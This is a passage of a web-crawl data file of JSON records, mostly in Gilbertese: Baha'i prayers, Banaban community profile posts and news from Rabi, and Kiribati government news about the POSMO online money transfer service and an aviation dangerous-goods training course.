ikane","id":"","dump":"CC-MAIN-2019-47","url":"http:\/\/banabanvoice.ning.com\/profile\/TenikoriaKatauea","date":"2019-11-12T19:38:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496665726.39\/warc\/CC-MAIN-20191112175604-20191112203604-00538.warc.gz","language":"gil","language_score":0.9991103411,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 0.9991103410720825}","num_words":55,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.202,"stopwords_ratio":0.2,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"O NGKAMI TAAN ROKO NI MAEKA!\nTe newe are I a tia ni kataua i bukin Tataekinau, tai kabuakaka ma te mwakuri buaka. Ngkana e a taoniko ain arom, uring oin am kaairua ma tiaki aia kaairua Au karikibwai, n aron ae ko bon ata riki aron taekam nakon aron taekaia ake tabeman.","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190403670","date":"2019-12-16T06:47:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575541317967.94\/warc\/CC-MAIN-20191216041840-20191216065840-00073.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":18,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":53,"character_repetition_ratio":0.015,"word_repetition_ratio":0.0,"special_characters_ratio":0.216,"stopwords_ratio":0.264,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"mauri maneu n te ririki ae boou, au kantaninga bwa ea rin raoi te reirei tao ea bon roko naba te iango n aine akea te nano n tabaua. i nang kukurei n nora tamnein alex ao koa hug him ibukira. we miss u guys but we know it's best for alex. tiuku ikanne nikabanea ana reirei natim ok. regards nakoimi ma kain am auti ao kain abam. Tabu&family","id":"","dump":"CC-MAIN-2019-51","url":"http:\/\/banabanvoice.ning.com\/profile\/luisasmith","date":"2019-12-09T18:04:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540521378.25\/warc\/CC-MAIN-20191209173528-20191209201528-00555.warc.gz","language":"gil","language_score":0.9999585152,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"gil_Latn_score\": 0.9999585151672363}","num_words":69,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.217,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ngkoe ara Uea ae e aakoi! Ko a tia ni karika te botannaomata nako man te riki ae ti te aekana, Ko a tia ni katauia bwa kaain te mweenga ae ti teuana, ao a tei i Matam ae Moan te Tabu, bwa Am toro ao te botannaomata a bane ni kaawakinaki i aan Umwam. Natim a uaia ni botaki i aon Am taibora n ataataiaomata ao n tia n riki n oota man tauran Am bwai ni kakaawakin.\nTe Atua! Ko aakoi nakoia ni kabane, Ko a tia ni kakaawakiniia ni kabane. Ko anga te maiu nakoia ni kabane, Ko a tia n anganiia ni kabane aomata te konabwai ao te wanawana ao ni kateboa te botannaomata inanon marawan Am nanoanga.\nNgkoe ara Uea ae e aakoi! Kabooi nanoia Aaro nako ao aaba nako bwa teuana te aba, bwa a aonga n nooriia n tatabemaniia nako bwa te utuuna, ao te aonaaba ae bwanin bwa kaain te mweengana. Bwa a na kona ni kabane ni uaia ni maeka n te boraraoi ae e kororaoi.\nTe Atua! Irakea ieta maniuan te botannaomata ae ti teuana.\nTe Atua! Katea te Raoi ae Moan te Kakannato.\nKo na katomai, te Atua, nanora ni kabane.\nNgkoe te Tama ae aakoi! Atuau! Kakukurei nanora rinanon boiararan Am tangira. Kaootai matara rinanon ootan Am kairiiri. Kakukurei taningara ma tangin Am Taeka, ao kamanoira ni kamanomanon Am kakaawakin.\nBon Ngkoe te Mwaaka ao te Korakora, bon Ngkoe te Tia Kabwarai-buure ao bon Ngkoe are E mamanuokin aia aki kororaoi botannaomata nako.","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/www.bahaiprayers.io\/prayer?id=140207040&to=gil","date":"2019-12-08T19:47:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540514475.44\/warc\/CC-MAIN-20191208174645-20191208202645-00549.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":41,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":255,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.215,"stopwords_ratio":0.396,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"NATIN TE TAMNEI O!\nI karikiko ni kaubwai, ao bukin tera ngkai ko a uotiko rikaaki nakon te kainnano? I karaoiko ni kakannato, e aera ngkai ko a kamangoriko i bon iroum? Man oin te ataibwai I anganiko te maiu, e aera bwa ko ukoukora kaotaam mairoun temanna riki i Rarikiu? Man tanon te tangira I buaiko; ko kangaa ni katabeaiangako riki ma temanna? Taraiko i bon iroum bwa ko aonga ni kuneai n tei i nanom, ni mwaaka, ni korakora ao ni maiu i bon irouna.","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190401140","date":"2019-12-06T04:24:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540484477.5\/warc\/CC-MAIN-20191206023204-20191206051204-00553.warc.gz","language":"gil","language_score":1.000009656,"language_script":"Latn","minhash_cluster_size":17,"top_langs":"{\"gil_Latn_score\": 1.0000096559524536}","num_words":87,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.216,"stopwords_ratio":0.356,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Katabwanenaan te kanakomwane ae boou rinanon te Post Office - POSMO (Post Office Sending Money Online)\nE a tia ni karaoaki te katabwena iaon te kanakomwane ae boou rinanon te Post Office ke te Posmo n aobitin te Kauntira i Abemama n 9 Aokati 2019 iroun te Minita ibukin rongorongo, itoman, mwamwananga ao karikirakean kaneweaba, Honourable Willie Tokataake.\nE kakoauaaki te katabwena aei iroun te Mayor ma Kauntira mai Abemama n raonaki iroun te Tia Koroboki, Tarataake Teannaki ao tabeman ana aobitia man te MICTTD ao te accountant man te botaki ni mwane (MFED) are ngaiia ake a kaaina te taskforce ibukin te Posmo.\nE a tia n kakoauaaki ba e tawe riki te Posmo, e mano ao man ibuobuoki nakoia taan kanako\/anai mwane, ao e na kona n onea mwin aron te kanako mwane ae bainaki ngkai ae te Telmo.\nTe Posmo bon te kawai ae boou ibukin te kanako mwane ae e karaoaki rinanon te internet ao e tii karaoaki imarenan 3 Post Offices i Tarawa ao te Kauntira iaon aba, ao are e a waki moa Abemama iaon te kanako mwane aei.\nE a tia n kamatoaki man te MICTTD ba e a tia ni karaaiaki te mwaiti ni mwane ae raka iaon $70 tabun te ngaa irouia 180 customers, man mwiin te katabwena aio, ao a kakoaua angiia taan kanako\/anai mwane ba e tawe ao e mano ao e roko irouia tabeua te miniti imwin kanakoana ao ai tiaaki aron are te Telmo are e kona n raka iaon 1 te wiiki aia tai n tataninga aomata.\nIai babaire ba ana manga katomaki 3 riki aba n te ririki aei ba Tabiteuea meang, Butaritari ao Nikunau. Aba aikai ake a nakoraoi naba butin aia internet, a nakoraoi aia reitaki nte tareboon, a toamau aia bwai n mwakuri ao a tauraoi aia Kauntira n kateimatoa mwakurin te system aei. A kantaningaki ba a na bane n toma ma te kanako mwane aei nikiran abamakoro\/Kauntira imwain banen 2021, riki aaba ake a nakoraoi aia internet.\nAio teuana mai ibuakon ana babaire te tautaeka are e a katabea te MICTTD ba ena katea ana taskforce ibukin buokan te kanganga n taataren te mwane iaon abamwakoro. E kakoauaaki ba e rangi n bairemwe man bobuaka te kanako\/anai mwane rinanon te Telmo ae e waakinaki ngkai.\nE a tabe naba ngkai te taskforce aio n rinanoi tein boon (fees\/commission) te kanako mwane. Man mwin te reitaki ma te botanaomata, ao iai waare ibukin tein taian commission\/fees ake a tauraoi ni kabonganaaki are ana kainanoa naba te onoono nakon te tua ke te Post Office Ordinance Part VI.\nNgkai e nang tabe ni kabonganaaki te Posmo ao ai bon te kauring nakoia taan kabongana ba e rangi n kakawaki ba ena tauraoi aia ID Card, te Postal Transaction Number (PTN), ao kabwarabwaraan raoi ana address te tia kanako mwane ao te tia anai mwane inanon te kanako mwane ae boou aei.","id":"","dump":"CC-MAIN-2019-51","url":"http:\/\/www.micttd.gov.ki\/news\/katabwanenaan-te-kanakomwane-ae-boou-rinanon-te-post-office-posmo-post-office-sending-money","date":"2019-12-16T05:12:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575541317967.94\/warc\/CC-MAIN-20191216041840-20191216065840-00164.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":480,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.208,"stopwords_ratio":0.34,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"O NGKAMI NATIN TE AKI TATABEAKIN MA TE KAIBWABWARU!\nKam a tia ni karawawata Au kairiribai ngke e rin n Au auti ao kam a tia ni kanakoa Raou, ngkai kam a tia ni bangota i nanomi tangiran temanna riki i Rarikiu. Anga taningami nakon taeka te Rao ao n rairaki nakon Ana bwaretaiti. Raao aika iraorao n te aonaaba, a bon ukoukora te tamaroaia bon i bukiia, a oti n tangiriia i bon irouia, ma te Rao ni koaua iai irouna te tangira are e tangiringkami bon i bukimi; ni koaua e a bon tia i bukin kairirakimi n taonaki ni karawawata aika a aki kona ni warekaki. Kam na riai n aki kakaonimaki nakon te Rao anne, ma kam na kawaekoaingkami Nakoina. Anne bon aekan itoi-ngainan taekan te koaua ao te kakaonimaki, are e a tia n ingi n oti i aon oraitanin Ana kainikoroboki Ueaia aara nako. Kauki taningami bwa kam aonga n ongo ao ni kawaekoaingkami nakon Ana taeka Te Atua, te Buoka n te Kanganga, te Maiu i bon Irouna.","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190403530","date":"2019-12-16T06:42:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575541317967.94\/warc\/CC-MAIN-20191216041840-20191216065840-00108.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":175,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.211,"stopwords_ratio":0.417,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"O NATIN AE KAINNANOA\nA na maanra riki am tai ni kiba n abanuean nako tangiran te aonaaba? Ko a tia n anganaki baim ni kiba, bwa ko aonga ni kiba n abanuean nako te taburoroko n tamnei ma tiaki i aon mwakoron katautau nako n taatan. Te koom, naba, are I a tia n anganiko bwa ko aonga ni karaoa bibiran Irau, ao tiaki i bukin kakiian Roroau.","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/www.bahaiprayers.io\/prayer?id=20403800&to=gil","date":"2019-12-14T12:04:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540586560.45\/warc\/CC-MAIN-20191214094407-20191214122407-00104.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":69,"character_repetition_ratio":0.103,"word_repetition_ratio":0.0,"special_characters_ratio":0.221,"stopwords_ratio":0.377,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ok,Ngai i rei2 ikai nte Tangintebu Theological Colloge ibukin anan au Talatala or Pastor nte Merhodist Church,so I will be back to Rabi and a Talatala Qase.\nao e raba te reitaki ba ngaia au koraki ngkoe.\nSo,Tekeraoi ngkoe ma kaain ami Auti.\nok,ngai naba kaain Uma ma i kinako ba raou ngkoe n rei2.ngke i Uarereke ao monam nte tai anne ngke ti Uarereke ko rang ni kimonamona.hahahahaha\nkoa tia n Iein ke iai Buum ngkai?\nsoory for the Question?\nngkai i mena moa i kiribati ma na oki nakoati n August this year.\nreitia mai ikanne\nma eti moa anne.ae kam mena ngkoa i Nantoi village.\nngai au kaawa Uma ao ngkoe naba,ma am tabo Nantoi.\nreitiko mai ikanne.\niai am Google talk iroum?add nakoim aei,I mean the gmail.com\nfirstname.lastname@example.org\nkoa reitia mai ikanne ba ia manga ongora iroum.","id":"","dump":"CC-MAIN-2019-51","url":"http:\/\/banabanvoice.ning.com\/profiles\/profile\/show?id=ETITATAKENTEMANOKU12","date":"2019-12-09T21:08:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540523790.58\/warc\/CC-MAIN-20191209201914-20191209225914-00124.warc.gz","language":"gil","language_score":0.9993981123,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 0.9993981122970581}","num_words":141,"character_repetition_ratio":0.031,"word_repetition_ratio":0.0,"special_characters_ratio":0.21,"stopwords_ratio":0.177,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te neboaki ao te kamimitongaki Ngkoe, Te Atua! Kataua bwa e na konaa ni waekoa n ria te bong are rootan Nanoaam ae tabu. Kakukurei nanora man kakain Am tangira ma kukurein Nanom ao anganiira te teimatoa bwa ti na konaa n nano n tauraoi n ongeaaba n Nanom ma Am Moti. Ni koaua Am atatai e rabwati ni kabane bwaai ake Ko a tia ni karikii ke Ko na karikii ao Korakoram ni karawa e ririaon te bwai teuana ke teuana are Ko a tia n taneweia ke Ko na taneweia bwa e na riki. Akea ae e na taromauriaki bwa tii Ngkoe, akea ae e na neboneboaki i Rarikim ao akea ae e na tangiraki bwa tii kukurein Nanom.\nN te koaua boni Ngkoe te Tia Tautaeka ae e moamoa, te Koaua ae riao, te Buoka n te Nibwa ni mate, te Maiu i bon Irouna.","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/www.bahaiprayers.io\/prayer?id=110204060&to=gil","date":"2019-12-13T14:26:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540555616.2\/warc\/CC-MAIN-20191213122716-20191213150716-00241.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":37,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":148,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.222,"stopwords_ratio":0.446,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"O NGKAMI AIKA TARIU!\nOngora ni kakukurein taeka aika man Neweu ae karewe, ao mooi ni karaangan te taburoroko ni karawa man Riau ae nen te karewe. Uniki koraan nako Au niniwana ni karawa ae tabu n tanon nanom ae kororaoi, ao tebokii n ranin te koaua ni koaua, bwa e aonga te atinta n Rabakau ma n Niniwanau a rikirake ni mangurooro ma ni kiriin ni kaawan nanom ae e tabu.","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190403340","date":"2019-12-09T06:16:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540517557.43\/warc\/CC-MAIN-20191209041847-20191209065847-00457.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":72,"character_repetition_ratio":0.022,"word_repetition_ratio":0.0,"special_characters_ratio":0.208,"stopwords_ratio":0.431,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"O NGKOE NATIN TE BUBUTANO!\nI a tia ni kataui i bukimi bwaai ni kabane ake i karawa ao n te aonaaba, ma ti te nano n aomata, are I a tia ni karikia bwa ana tabo ni maeka Tamaroau ma Mimitongiu; e ngae n anne ao ko a bon tia n anga Mweengau ma Au tabo nakon temanna i Rarikiu; ao ngkana e a ukoukora Ana tabo ni kaotiota Taburorokou, e kunea te ianena iai, ao, ai aakea Mweengana, e waekoa n nako nakon Ana Tabo Teuare E tangiraki. E ngae n anne I karabai am karaba ao I aki tabeakina mamaam.","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190403280","date":"2019-12-16T06:50:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575541317967.94\/warc\/CC-MAIN-20191216041840-20191216065840-00180.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":103,"character_repetition_ratio":0.042,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.466,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"by Biara Touakin, Rabi Fiji\nN kauouan wikin Tianuare 2010 ao e bane iai aia makuri taan kateitei man te Pacific Building Solution (PBS) ake a roko ni katei uma-n-reirei n taian reirei iaon Rambi aika Buakonikai Primary, Tabiang Primary, Banaban Primary ao Rabi High. Te project aio are e bon kamanemaneaki man te EU.\nA kateaki classrooms ao aia auti Tia-Reirei n taian Primary schools ao n te Rabi High School a kateaki ana computer lab ao aia dinning hall ataei. Ngkai a bon mwengaraoi ataei ma tia-reirei n te buoka aio.\nIrariki aio ao a roko iaon Rambi n te Kaabong ae nako uoman I-Tiaina (Chinese) ao temanna te I-Biti ibukin karaoan te jetty i Rasirasi. A roko ba ana nora te jetty, te ran ibkun aia makuri ao mwengaia are ana rent iai inanon aia tai ni makuri. E taekina temanna mai ibuakoia ba e rangin kawaekoakaki te project aio ba bon ana project te Prime Minister ngaia are a tangiri baai ake a roko n nori ba a riai n tauraoi imain rokoia.\nEna bon bae n teirake aia makuri inanon te namakaina ae Beberuare.","id":"","dump":"CC-MAIN-2019-51","url":"http:\/\/banabanvoice.ning.com\/profiles\/blogs\/rabi-news-update-31-jan-10","date":"2019-12-13T15:16:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540564599.32\/warc\/CC-MAIN-20191213150805-20191213174805-00118.warc.gz","language":"gil","language_score":1.0000047684,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.000004768371582}","num_words":188,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.21,"stopwords_ratio":0.314,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"O NGKOE OIN TE KAINNANOAKI!\nE mwaiti te karangaina are I a tia n rairaki man abanuean te Tabo ae akea nakon am tabo, ao ni kuneko i aon ngaom ni mwengaraoi ni katabeko ma tabeman riki i Rarikiu. Ngaia are, n aron birin te tamnei, I oki nakon abanuean nako te mimitong ni karawa ao akea te bwai ae I ikenna n Au tabo are i eta nakoia kaaina aika a tabu.","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190403290","date":"2019-12-09T01:04:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540515344.59\/warc\/CC-MAIN-20191208230118-20191209014118-00211.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":73,"character_repetition_ratio":0.012,"word_repetition_ratio":0.0,"special_characters_ratio":0.222,"stopwords_ratio":0.425,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"News and information service for Banaban Network Worldwide!\nKam na mauri riki kaain abara!\nNgkai ea manga kaan naba banen te ririki aio ao ea manga roko naba te mari ae korakora iaon Rambi ba ea manga kawa naba te manai ao ea nako kain te kang-manai mai tabon Rambi nako tabona. Irarikin naba aei ao a bon mori uaan mangko are tarataraana ba ana manga aki ooia naba kaain Suva. A bon amarake aomata ao maan ni kiba ao aika a kawakawa. Ea nako naba uaan te mai iai aika a kiri-tenua ao a kiri-aua ao ea nako naba kanakin te mai. A tabe n uun kaain abara aio ngke ea kanakoa uaana te mai ao a taku \" Kama manga wewetea naba te ang?\"\nNgke ea roko ngkoa te mari ao a manga un ma e ngae n anne ao aikanne moa baai aika riki iaon abami aio.\nKam raba\nViews: 114\nComment","id":"","dump":"CC-MAIN-2019-51","url":"http:\/\/banabanvoice.ning.com\/profiles\/blogs\/ea-kawa-te-manai-i-rambi","date":"2019-12-14T17:53:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575541288287.53\/warc\/CC-MAIN-20191214174719-20191214202719-00537.warc.gz","language":"gil","language_score":1.0000087023,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000087022781372}","num_words":153,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.268,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"O NGKAMI RAOU!\nNakonako ni kamaeun kawain nako te Rao, ao ataia bwa are E tangiria bon ake a tangiria Ana karikibwai. Ni kaangai: akea te aomata ae e na rin n ana auti raraona ma ti ngkana e kariaia raraona, ke n anai ana bwai ke ni karaoa are e tangiria nakon ana bwai raoraona, ao n akea te kawai are e na ukoukoria are e tekeraoi iai i aon are raoraona. Karaurau n iangoa aei, ngkoe ae ko taratarannano.","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190403440","date":"2019-12-16T06:42:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575541317967.94\/warc\/CC-MAIN-20191216041840-20191216065840-00298.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":81,"character_repetition_ratio":0.013,"word_repetition_ratio":0.0,"special_characters_ratio":0.219,"stopwords_ratio":0.457,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te Uekera Article - Dangerous Goods Training\nThursday, August 22, 2019\nReiakinaki taan mwakuri n te Airport aron kinaakin kaako ake a riai n aki toka n te wanikiba te kataneiai aio, bwa te angareirei ae moan baan te kakawaki ao ni boongana ibukin karikirakean aia atatai taan mwakuri n rabwata ake a irekereke ma aron butimwaean, batianakin ao katauraoan kaako ake a na toka n te wanikiba, n te mwananga bon iaon abara aio ao te mwananga naba nako tinanikun Kiribati. E taku Tarataake n ana maroro bwa te kataneiai ke te angareirei aio bon teuana mai buakon aan aia waaki rabwata ke botaki ni Kibakiba n te aonnaba ibukin te mauri ao aio are e kakoauaki bwa e bon rangi ni kakawaki bwa e na teimatoa ni kakaraoaki ibukin aia atatai taan mwakuri, riki ngkai e kakoauaki aron bibitakiia taan mwakuri ao ai n raonaki naba ma bibitakin naba rabakau aika a boou ake a irekereke iai. E reke ana tai te Tia Koroboki ni kakaitau nakon te Tautaeka n Singapore, are ngaia ae e a tia n teimatoa n riki bwa raoraon ao te tia boutoka Kiribati ao te Betebeke iaon karikirakean te waaki ni kibakiba, karaoan kataneiai ao taian ibuobuoki ke technical assistance. Ae e waaki ngkai aio, ae teuana te wiiki manna e bon waakinaki man ana mwane ni buoka te Singapore Civil Aviation Authority, rinanon te Tautaeka n Singapore ao ni kairaki irouia taan kataneiai ake a bon roko naba mai Singapore aika Mr. Vincent Koh ao Ms. Loh Yhenh Shanh. E bon katekeraoia ao ni kaungaia naba taan ira buakon te angareirei aio bwa a bia kamanenaa raoi te tai aei ao ni karekea te rabakau ma te atatai iaon tibwangaia ke tabeia ae moan te kakawaki aei. E ngae n anne ao bwaai ake a na reiakinii taan ira buakon te angareirei aio n aron are taekinna naba te Tia Koroboki bon rabakau ke atatai ao babaire ake a mwaneweaki iaan Annex 18. E taku te Tarekita n te Civil Aviation ae Aako Teikake bwa ibuakon rabakau ake a reiakinaki kaain te angareirei bon aroia ni kona ni kinai ao n atai kaako ake a karuanikai ke dangerous goods bwa angaa aika a na kona ni butimwaei bwa a na toka n te wanikiba ao angaa aika a riai n aki butimwaei. Ti aki ti ngaia ma a bon reiakinaki naba aroia ni baketenii ke n batianii kaako akanne, n ira are e bwainaki n te tua ibukin totokoan rikin kanganga. Ake a ira buakon te angareirei bon taan mwakuri man rabwata ake iai irekerekeia ma katauraoan kaako ake a na toka n te wanikiba, n aron Air Kiribati Limited, te Airport Kiribati Authority, te Postal, Tobwaraoi, te Kiribati Oil Company Limited ao ai te Civil Aviation Authority of Kiribati. N tokin te angareirei ao e taku Aako bwa a na manga ukeraki taan ira buakon te angareirei aio, ike a na kona n reke iai nakoia aia beeba man aia bwii, bwa te Participation ke te Completion.","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/www.micttd.gov.ki\/news\/te-uekera-article-dangerous-goods-training","date":"2019-12-16T05:51:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575541317967.94\/warc\/CC-MAIN-20191216041840-20191216065840-00408.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":502,"character_repetition_ratio":0.081,"word_repetition_ratio":0.004,"special_characters_ratio":0.2,"stopwords_ratio":0.367,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"O NGKOE AU TORO!\nTai kaaki i bukina bwa e na kamaunaa te tautaeka ae akea tokina, ao tai kaaki te tautaeka ni karawa i bukin tangiran te aonaaba. Bon aio karaangan te maiu ae akea tokina are e wawaanako man koburaken ranin kainikorobokin te nanoanga; ai bon irouia ngkanne ake a mooi!","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/www.bahaiprayers.io\/prayer?id=20403380&to=gil","date":"2019-12-09T22:22:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540523790.58\/warc\/CC-MAIN-20191209201914-20191209225914-00341.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":53,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.201,"stopwords_ratio":0.321,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te Atua ae E Nanoanga! Tooro aikai a rairaki nakon Am abanuea n ukoukora Am tituaraoi ao am bwai n aakoi. Te Atua! Karikii nanoia bwa a na raoiroi ao n itiaki n te aro bwa a aonga ni kona n butimwaea Am tangira. Kaitiaki ao katabui tamnei bwa e aonga otan Taain te Koaua n otanako irouia. Kaitiakii ao kamwawai maata bwa a aonga n nora Otam. Kaitiakii ao kamwawai taninga bwa a aonga n ongo ana wewete Am abanuea.\nTe Uea! Ti bon ngore, ma ko bon korakora. Ni koaua, ti bon kainnano, ma ko bon kaubwai. Ngaira taan ukeuke, ao Ngkoe bon Ngaia are ti Ukoukoriko. Te Uea! Nanoangaira ao kabwarai ara bure, anganira te konabwai ao te nano n tauraoi bwa ti aonga n tau ni butimwaea nanom ao ni katikaki nakon Am abanuea, bwa ti aonga ni moi man Am ran ni kamaiu ae akea tokina, bwa ti na niniaki n ain Am tangira, ao ni kamaiuaki man ikeiken te Tamnei ae e Raoiroi n te tienture ae e ota aio.\nTe Atua, Atuau! Karuoa am taratara n tangira n akoi nako aon te ikotaki aio,. Kamanoia n tatabemaniia ao ni kabane inanon Am tararua ao iaan Am kamanomano. Karuoa nako aon tamnei aikai taian kakabwaia ni karawa. Kateboia inanon marawan Am nanoanga, ao kamaiuia n ikeiken te Tamnei ae e Raoiroi.\nTe Uea! Anga am buoka ae e tituaraoi ao am kamatoa nako aon te tautaeka ae e motiraoi aio. Te aono aio e wene iaan nuun Am kamanomano, ao aomatana a beku Ibukim. Au Uea! Kataua ibukiia te tibwanga mai karawa ao karekea waanakon Am tituaraoi ao Am mwamwannano ae e taonako man bwakanako. Kataua ibukin te aono ae e karietataaki aei bwa e na teimatoa te karinerine nako aona, ao kariaia bwa e na karinaki inanon Am abanuea.\nBon Ngkoe te Mwaaka, Kabanea ni Korakora, te Nanoanga ao bon Ngkoe te Tituaraoi, te Akoi ao Uean te Tamaroa ae e aki kona n 